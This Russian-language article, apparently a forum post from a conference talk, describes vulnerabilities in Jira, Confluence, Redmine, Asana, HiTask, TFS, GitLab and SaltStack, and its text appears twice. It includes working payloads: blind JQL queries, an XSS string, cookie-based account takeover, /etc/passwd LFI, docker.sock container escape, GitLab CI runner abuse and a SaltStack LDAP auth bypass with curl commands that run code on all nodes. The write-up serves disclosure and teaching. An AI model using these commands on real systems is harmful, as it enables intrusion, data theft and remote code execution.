Час добрый, господа. По мотивам моего прошлогоднего доклада на ZeroNight сделаю статейку, того, о чем говорил я тогда...
Довелось мне как то, в один из прекрасных вечеров, проверить на уязвимость кучу сервисов связанных с разработкой и в этой статье я поделюсь находками, о которых, уже рассказывал на конференции в том году.
Misconfiguration - класс уязвимостей связанных с неправильной настройкой того или иного сервиса. Хотя на самом деле не всё оказалось мисконфигами.
Ну хватит лить воду, приступим...
Ссылка на презу:
Jira & Confluence
Описание: Эти два продукта от компании Atlassian широко используются разработчиками.
Jira - Мощнейший таск-трекер, где ставятся задачи, отслеживается процесс их выполнения, и еще куча плюшек.
Confluence - Мощная Вики - площадка, она хранит в себе целую базу знаний компании, с доступами, группами, проектами.
Как выглядит Jira?
Как выглядит Confluence?
Так какие же в них могут быть проблемы неправильной конфигурации?!
Проблема 1. Включенный StackTrace
Когда по - умолчанию включён StackTrace, мы можем спровоцировать ошибку и увидеть версию Java, установленных плагинов и многое другое.
Спровоцировать ошибку можно передав массив вместо строки в API.
1) https://JIRA_HOME/rest/api/2/[]/
2) https://CONFLUENCE_HOME/rest/api/cont ent/[]/
Профит:
Проблема 2. IDOR в Agile board плагине
Agile board - довольно популярный плагин, которым пользуются разработчики, однако и тут есть проблема...
По умолчанию разработчики ограничены теми бордами, в которых они работают. Но если перебирать ID панели, можно смотреть и другие панели.
https://JIRA_HOME/secure/ManageRapidViews.jspa
Проблема 3. Blind JQL/CQL или как читать закрытие спейсы
JQL - Язык запросов поиска в Jira
CQL - Язык запросов в Confluence
Примечание: это проблема именно неправильной настройки доступов к API, а не уязвимость самого продукта.
Когда я исследовал эти сервисы, я заметил, что у продуктов Atlassian очень интересно сделана модель доступов.
Во - первых, их несколько. Есть как групповые так и персональные доступы.
Во - вторых, интересный факт в том, что сначала проверяется существование страницы, а только потом, есть ли у нас к ней доступ.
Модель злоумышленника: Незалогиненный пользователь у которого нет вообще никаких прав.
Но для начала давайте посмотрим, может админ забыл вообще закрыть доступы к api
Но рассмотрим более интересный случай, когда всё таки доступ закрыт.
Начнем с Jira
Для начала нам надо определить ID проектов, которые собираемся прочитать. Здесь способ нехитрый.
Как видим проект с ID = 10002 не существует, о чем нам говорит ошибка: "Тикет не существует"
Однако 10000 и 10001 мы видим другую ошибку, что у нас нет прав читать этот тикет. АГА, значит они все таки существуют.
Копаем дальше.
Вспоминаем про JQL и пробуем следующий запрос:
Здесь мы пытаемся найти любой тикет, у которого в описании есть фраза: "kdhfbwk"
Получаем ошибку, которая говорит, что нет такого значения в поле description:
Теперь попробуем поискать тикет в котором есть текст 123(и что - то ещё) в проекте с id=10000
Получаем совершенно другую ошибку. Напоминаю, что мы незалогинены. И вот таким способом, играя с JQL, мы можем полностью восстановить содержимое тикета.
А вот если мы увидим вот такой результат:
Это значит, что с настройками все хорошо и уязвимость неэксплуатабельна.
В Confluence всё аналогично.
Попросим вывести нам спейсы, названия которых начинается с "s"
Проблема 4. Доступные порты управления
Тут всё просто, почитав документацию, я узнал, что оказывается у этих продуктов есть порты управления 8000 – 8100, которые отвечают за включение отключение и прочие штуки.
На практике не встречал.
Redmine
Очень популярный таск-трекер для разработчиков
Проблема. Stored XSS при добавлении картинки
При создании тикета мы можем использовать функционал, добавления картинок, выглядит он так:
Глянем во что превратился html код:
Видим, что он трансформировался в тег
Что же, не надо быть супер хакером, чтобы догадаться, как можно пропихнуть XSS.
У тега img - есть события, которые, при наступлении, вызывают какой - то JavaScript код. В нашем случае я использовал событие onerror. Оно будет вызвано, когда картинка не сможет отрендериться.
В итоге наша нагрузка будет выглядеть так:
И результат:
Почему выполнился код?
Потому что наша итоговая картинка выглядела так:
<img src="localhost" title="" onerror="alert(/1/)" alt="" onerror="alert(/1/)">
А по адресу localhost картинки нет, что вызывало событие onerror.
Asana
Еще один таск-трекер. Непопулярный. Я его стал исследовать только с целью побольше набрать материала и вот, что нашел.
Проблема. Обход авторизации через Cookies
При авторизации сервис выдает следующие куки:
Здесь можно заметить два параметра 5166376 - числовой и soft_signup_email - почта.
Соответственно, если знать почту жертвы, то несложно перебрать числовое значение.
Я зарегистрировал второй аккаунт и просто передал значения в куках почту hac126@mail.ru и id + 1.
В итоге попал в аккаунт:
HiTask
Ещё один ноунейм таск-трекер.
Проблема 1. Self XSS при добавлении тегов
Self XSS - это тип атак XSS, который заключается в том, что она может быть воспроизведена только самим атакующем. На самом деле смысла в ней немного, просто ради фана покажу.
Всё очень просто. Пытаемся в теги добавить нагрузку XSS через img, и нажимаем ",". В итоге тег попадет в разметку и выведет заветное окошко
Проблема 2. LFI через форму загрузки
LFI (Local File Include) - уязвимость, которая позволяет читать произвольные файлы на сервере.
В HiTask есть форма загрузки. Однако, интересный момент, в параметре "prop_act_upload", если в него передать путь до локального файла, например, /etc/passwd, то он будет загружать именно его.
А потом мы его просто можем скачать.
TFS (Team Foundation Server)
Это большой инструмент от Microsoft для создания Workflow разработки.
В природе этой МИСКОНФИГ уязвимости я так и не разобрался, но вот в чем суть.
В его панеле можно делать импорт удаленных git репозиториев.
Я попробовал использовать внутренние адреса вместо внешних до пути /.git и в итоге, перебрав их значительное количество, таки смог нарваться на какую то внутреннюю бесполезную репу.
Ну хватит про вебовщину. Давайте немного по инфре поговорим. А именно, где можно встретить мисконфиг при работе в докерах или LXC.
Оказывается, когда мы создаем контейнер, админы иногда пробрасывают внутрь его файл /var/run/docker.sock, который связывает Host API докера и контейнер.
Соответственно, если этот файл окажется внутри, то используя его, мы можем управлять другими контейнерами или выбраться на хост машину.
Пример просмотра внутри контейнера, других запущенных докеров:
А вот как бы выглядело создание нового докера с командой ls
Для LXC
GIT-LAB
Система управления исходным кодом. И тут есть некоторые проблемы неправильных настроек.
Проблема 1. Взлом проектов через CI
CI - Continuous Integration позволяет автоматический развернуть или задеплоить код.
После пуша, гит поднимает так называемые runner'ы - контейнеры, которые внутри себя выполняют указанный код.
Настройка таких раннеров выполняется с помощью конфига .gitlab-ci.yml
Вот так будет выглядеть результат после push-request'а в репозиторий:
А теперь давайте вспомним про предыдущий пункт и посмотрим содержимое раннера:
Видим тут наш уже знакомый файлик: "docker.sock"
Давайте посмотрим с его помощью все контейнеры.
Видоизменим конфиг следующим образом:
Результат:
А теперь в раннерах глянем содержимое других контейнеров (раннеров)
Опа, получили исходные коды другого проекта, который деплоится на соседнем раннере.
Таким образом, имеется возможность угонять исходные коды других проектов, когда нет прав доступа к ним.
Проблема 2. Публичный доступ к Сниппетам и к API.
Snippets - Это отдельные скрипты или заметки во всем gitlab. Зачастую доступ к ним неограничен и может быть получен следующим образом вообще без авторизации:
Ещё пару триксов. Во всех до единого установок гитлабах, я видел открытый API метод, для перечисления всех пользователей без авторизации:
Надо просто перебирать ID
А вот таким способом можно посмотреть публичные ключи пользователей (зачем это может понадобиться хакеру - не знаю)
SaltStack
SaltStack - это система централизованной разливки кода. С её помощью можно выполнить команду на тысячах машин.
А теперь представьте масштаб трагедии если кому то удалось бы взломать её.....Что я и сделал.......
Итак, вишенка на торте, 0day тогда, а сейчас уже 1day уязвимость.
Добрался я потыкать этот сервис. И разумеется начал с авторизации. Я перепробовал кучу логопассов, брутить, всё тщетно.
И тут я случайно узнал имя админа и понял, что режим авторизации через LDAP.
Попробовав подставить известные мне пароли, я получил отказ в доступах. Однако черт меня дернул оставить поле пароль пустым для известного мне логина.
ДА! БАЙПАСС АВТОРИЗАЦИИ ДЛЯ ЛЮБОГО ЛОГИНА В LDAP!
Рассмотрим шаги:
1) Обращаемся к соли по API через LDAP с известным логином, но любым паролем:
И БИНГО. Он вернул нам токен доступа со всеми правами, на что указывает ".*" в ключе "perms"
Дальше смотрим какие есть поды:
Корпоративные я, конечно, закрасил, но видим, что есть две мастер ноды и остальные подчиненные им.
Теперь давайте выполним команду "id" на всех нодах (разольем солью)
И снова бинго, на двух нодах выполнился код. Почему не на всех?! Да потому что остальные ноды были просто выключены и демон соли на них не прослушивался.
Позднее я сообщил о находке вендору и получил CVE (CVE-2018-15751)
Как вы поняли, суть атаки в том, что в приложении была допущена фатальная ошибка при сравнении паролей через LDAP.
Ну вот и всё, друзья. Будьте в безопасности и не мисконфигурячьте.
Довелось мне как то, в один из прекрасных вечеров, проверить на уязвимость кучу сервисов связанных с разработкой и в этой статье я поделюсь находками, о которых, уже рассказывал на конференции в том году.
Misconfiguration - класс уязвимостей связанных с неправильной настройкой того или иного сервиса. Хотя на самом деле не всё оказалось мисконфигами.
Ну хватит лить воду, приступим...
Ссылка на презу:
Ссылка скрыта от гостей
Jira & Confluence
Описание: Эти два продукта от компании Atlassian широко используются разработчиками.
Jira - Мощнейший таск-трекер, где ставятся задачи, отслеживается процесс их выполнения, и еще куча плюшек.
Confluence - Мощная Вики - площадка, она хранит в себе целую базу знаний компании, с доступами, группами, проектами.
Как выглядит Jira?
Как выглядит Confluence?
Так какие же в них могут быть проблемы неправильной конфигурации?!
Проблема 1. Включенный StackTrace
Когда по - умолчанию включён StackTrace, мы можем спровоцировать ошибку и увидеть версию Java, установленных плагинов и многое другое.
Спровоцировать ошибку можно передав массив вместо строки в API.
1) https://JIRA_HOME/rest/api/2/[]/
2) https://CONFLUENCE_HOME/rest/api/cont ent/[]/
Профит:
Проблема 2. IDOR в Agile board плагине
Agile board - довольно популярный плагин, которым пользуются разработчики, однако и тут есть проблема...
По умолчанию разработчики ограничены теми бордами, в которых они работают. Но если перебирать ID панели, можно смотреть и другие панели.
https://JIRA_HOME/secure/ManageRapidViews.jspa
Ссылка скрыта от гостей
.<company_name>.ru/secure/RapidBoard.jspa?rapidView=434
Ссылка скрыта от гостей
.<company_name>.ru/secure/RapidBoard.jspa?rapidView=435Проблема 3. Blind JQL/CQL или как читать закрытие спейсы
JQL - Язык запросов поиска в Jira
CQL - Язык запросов в Confluence
Примечание: это проблема именно неправильной настройки доступов к API, а не уязвимость самого продукта.
Когда я исследовал эти сервисы, я заметил, что у продуктов Atlassian очень интересно сделана модель доступов.
Во - первых, их несколько. Есть как групповые так и персональные доступы.
Во - вторых, интересный факт в том, что сначала проверяется существование страницы, а только потом, есть ли у нас к ней доступ.
Модель злоумышленника: Незалогиненный пользователь у которого нет вообще никаких прав.
Но для начала давайте посмотрим, может админ забыл вообще закрыть доступы к api
- https://<company_name>/jira/rest/api/2/mypermissions
- https://<company_name>/jira/rest/api/2/issue/1
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей{SPACEKEY}
-
Ссылка скрыта от гостей{ContentI}
Но рассмотрим более интересный случай, когда всё таки доступ закрыт.
Начнем с Jira
Для начала нам надо определить ID проектов, которые собираемся прочитать. Здесь способ нехитрый.
for i in $(seq 10000 11000); do curl http://JIRA_HOME/rest/api/2/issue/$i; done;
Как видим проект с ID = 10002 не существует, о чем нам говорит ошибка: "Тикет не существует"
Однако 10000 и 10001 мы видим другую ошибку, что у нас нет прав читать этот тикет. АГА, значит они все таки существуют.
Копаем дальше.
Вспоминаем про JQL и пробуем следующий запрос:
Здесь мы пытаемся найти любой тикет, у которого в описании есть фраза: "kdhfbwk"
https://<company_name>/jira/rest/api/2/search?jql=description=“kdhfbwk"
Получаем ошибку, которая говорит, что нет такого значения в поле description:
Теперь попробуем поискать тикет в котором есть текст 123(и что - то ещё) в проекте с id=10000
https://<company_name>/jira/rest/api/2/search?jql=descriprion="123*" and id=10000
Получаем совершенно другую ошибку. Напоминаю, что мы незалогинены. И вот таким способом, играя с JQL, мы можем полностью восстановить содержимое тикета.
А вот если мы увидим вот такой результат:
Это значит, что с настройками все хорошо и уязвимость неэксплуатабельна.
В Confluence всё аналогично.
Попросим вывести нам спейсы, названия которых начинается с "s"
https://<company_name>/jira/rest/api/content/search?cql=[COLOR=rgb(247, 218, 100)]space.title~"s.*"[/COLOR]
Проблема 4. Доступные порты управления
Тут всё просто, почитав документацию, я узнал, что оказывается у этих продуктов есть порты управления 8000 – 8100, которые отвечают за включение отключение и прочие штуки.
На практике не встречал.
Redmine
Очень популярный таск-трекер для разработчиков
Проблема. Stored XSS при добавлении картинки
При создании тикета мы можем использовать функционал, добавления картинок, выглядит он так:
Глянем во что превратился html код:
Видим, что он трансформировался в тег
<img src="НАША_ССЫЛКА" title="НАШ_ТАЙТЛ" alt="НАШ_ТАЙТЛ">
Что же, не надо быть супер хакером, чтобы догадаться, как можно пропихнуть XSS.
У тега img - есть события, которые, при наступлении, вызывают какой - то JavaScript код. В нашем случае я использовал событие onerror. Оно будет вызвано, когда картинка не сможет отрендериться.
В итоге наша нагрузка будет выглядеть так:
!localhost(“ onerror=alert(/1/))!
И результат:
Почему выполнился код?
Потому что наша итоговая картинка выглядела так:
<img src="localhost" title="" onerror="alert(/1/)" alt="" onerror="alert(/1/)">
А по адресу localhost картинки нет, что вызывало событие onerror.
Asana
Еще один таск-трекер. Непопулярный. Я его стал исследовать только с целью побольше набрать материала и вот, что нашел.
Проблема. Обход авторизации через Cookies
При авторизации сервис выдает следующие куки:
Код:
soft_signup_user_id=5166375;
soft_signup_email=hac126%40yandex.ru;
xi_ip=97.12.23.123; soft_signup_invitation_token=numeric_token-5166375-672796;
gtm_u_id=5166376;
dapulseUserId=5166375;
gtm_u_is_admin=true;
gtm_a_paying_value=0.0;
Здесь можно заметить два параметра 5166376 - числовой и soft_signup_email - почта.
Соответственно, если знать почту жертвы, то несложно перебрать числовое значение.
Я зарегистрировал второй аккаунт и просто передал значения в куках почту hac126@mail.ru и id + 1.
В итоге попал в аккаунт:
HiTask
Ещё один ноунейм таск-трекер.
Проблема 1. Self XSS при добавлении тегов
Self XSS - это тип атак XSS, который заключается в том, что она может быть воспроизведена только самим атакующем. На самом деле смысла в ней немного, просто ради фана покажу.
Всё очень просто. Пытаемся в теги добавить нагрузку XSS через img, и нажимаем ",". В итоге тег попадет в разметку и выведет заветное окошко
Проблема 2. LFI через форму загрузки
LFI (Local File Include) - уязвимость, которая позволяет читать произвольные файлы на сервере.
В HiTask есть форма загрузки. Однако, интересный момент, в параметре "prop_act_upload", если в него передать путь до локального файла, например, /etc/passwd, то он будет загружать именно его.
А потом мы его просто можем скачать.
TFS (Team Foundation Server)
Это большой инструмент от Microsoft для создания Workflow разработки.
В природе этой МИСКОНФИГ уязвимости я так и не разобрался, но вот в чем суть.
В его панеле можно делать импорт удаленных git репозиториев.
Я попробовал использовать внутренние адреса вместо внешних до пути /.git и в итоге, перебрав их значительное количество, таки смог нарваться на какую то внутреннюю бесполезную репу.
Ну хватит про вебовщину. Давайте немного по инфре поговорим. А именно, где можно встретить мисконфиг при работе в докерах или LXC.
Оказывается, когда мы создаем контейнер, админы иногда пробрасывают внутрь его файл /var/run/docker.sock, который связывает Host API докера и контейнер.
Соответственно, если этот файл окажется внутри, то используя его, мы можем управлять другими контейнерами или выбраться на хост машину.
Пример просмотра внутри контейнера, других запущенных докеров:
docker -v /var/run/docker.sock:/var/run/docker.sock ps
А вот как бы выглядело создание нового докера с командой ls
docker run -v /var/run/docker.sock:/var/run/docker.sock debian ls
Для LXC
curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/
Код:
{
"type": "async",
"status": "Operation created",
"status_code": 100,
"metadata": {
"id": "439bf4a1-e056-4b76-86ad-bff06169fce1",
"class": "task",
"created_at": "2016-04-18T22:56:22.590239576
....
}
GIT-LAB
Система управления исходным кодом. И тут есть некоторые проблемы неправильных настроек.
Проблема 1. Взлом проектов через CI
CI - Continuous Integration позволяет автоматический развернуть или задеплоить код.
После пуша, гит поднимает так называемые runner'ы - контейнеры, которые внутри себя выполняют указанный код.
Настройка таких раннеров выполняется с помощью конфига .gitlab-ci.yml
YAML:
job1:
script:
- ip addr
Вот так будет выглядеть результат после push-request'а в репозиторий:
А теперь давайте вспомним про предыдущий пункт и посмотрим содержимое раннера:
Видим тут наш уже знакомый файлик: "docker.sock"
Давайте посмотрим с его помощью все контейнеры.
Видоизменим конфиг следующим образом:
YAML:
job1:
script:
- ip addr
- ps aux
- curl -s --unix-socket /var/run/docker.sock http:/containers/json
Результат:
А теперь в раннерах глянем содержимое других контейнеров (раннеров)
Код:
curl -s --unix-socket /var/run/docker.sock "http:/containers/create?name=72701f424a15661108227ea65a0548dbcbf6f5343207b050431980b71af7f7ec" -X POST -H "Content-Type: application/json" -d '{"Cmd": [ "ls", "-la", "./" ]}'
Опа, получили исходные коды другого проекта, который деплоится на соседнем раннере.
Таким образом, имеется возможность угонять исходные коды других проектов, когда нет прав доступа к ним.
Проблема 2. Публичный доступ к Сниппетам и к API.
Snippets - Это отдельные скрипты или заметки во всем gitlab. Зачастую доступ к ним неограничен и может быть получен следующим образом вообще без авторизации:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
Ещё пару триксов. Во всех до единого установок гитлабах, я видел открытый API метод, для перечисления всех пользователей без авторизации:
Надо просто перебирать ID
https://gitlab/api/v4/users/2
А вот таким способом можно посмотреть публичные ключи пользователей (зачем это может понадобиться хакеру - не знаю)
https://<host>/<user>.keys
SaltStack
SaltStack - это система централизованной разливки кода. С её помощью можно выполнить команду на тысячах машин.
А теперь представьте масштаб трагедии если кому то удалось бы взломать её.....Что я и сделал.......
Итак, вишенка на торте, 0day тогда, а сейчас уже 1day уязвимость.
Добрался я потыкать этот сервис. И разумеется начал с авторизации. Я перепробовал кучу логопассов, брутить, всё тщетно.
И тут я случайно узнал имя админа и понял, что режим авторизации через LDAP.
Ссылка скрыта от гостей
- легкорасширяемый протокол централизованного доступа к каталогам.Попробовав подставить известные мне пароли, я получил отказ в доступах. Однако черт меня дернул оставить поле пароль пустым для известного мне логина.
ДА! БАЙПАСС АВТОРИЗАЦИИ ДЛЯ ЛЮБОГО ЛОГИНА В LDAP!
Рассмотрим шаги:
1) Обращаемся к соли по API через LDAP с известным логином, но любым паролем:
Код:
curl -si POST https://<host>.ru/login -H "Accept: application/json" -d username="<LDAP LOGIN>" -d password="s" -d eauth='ldap'
И БИНГО. Он вернул нам токен доступа со всеми правами, на что указывает ".*" в ключе "perms"
Дальше смотрим какие есть поды:
curl -i -H 'X-Auth-Token: 694a7dfa16.........cacfcb0d26650d21bd' https://<host>/keys
Корпоративные я, конечно, закрасил, но видим, что есть две мастер ноды и остальные подчиненные им.
Теперь давайте выполним команду "id" на всех нодах (разольем солью)
curl -i -H 'X-Auth-Token: 694a7dfa168........cfcb0d26650d21bd' -H 'Content-type: application/json' https://<host>/ -d '[{"client":"local", "tgt":"*", "fun":"cmd.run", "kwarg":{"cmd":"id"}, "eauth":"auto"}]'
И снова бинго, на двух нодах выполнился код. Почему не на всех?! Да потому что остальные ноды были просто выключены и демон соли на них не прослушивался.
Позднее я сообщил о находке вендору и получил CVE (CVE-2018-15751)
Как вы поняли, суть атаки в том, что в приложении была допущена фатальная ошибка при сравнении паролей через LDAP.
Ну вот и всё, друзья. Будьте в безопасности и не мисконфигурячьте.
Вложения
Последнее редактирование: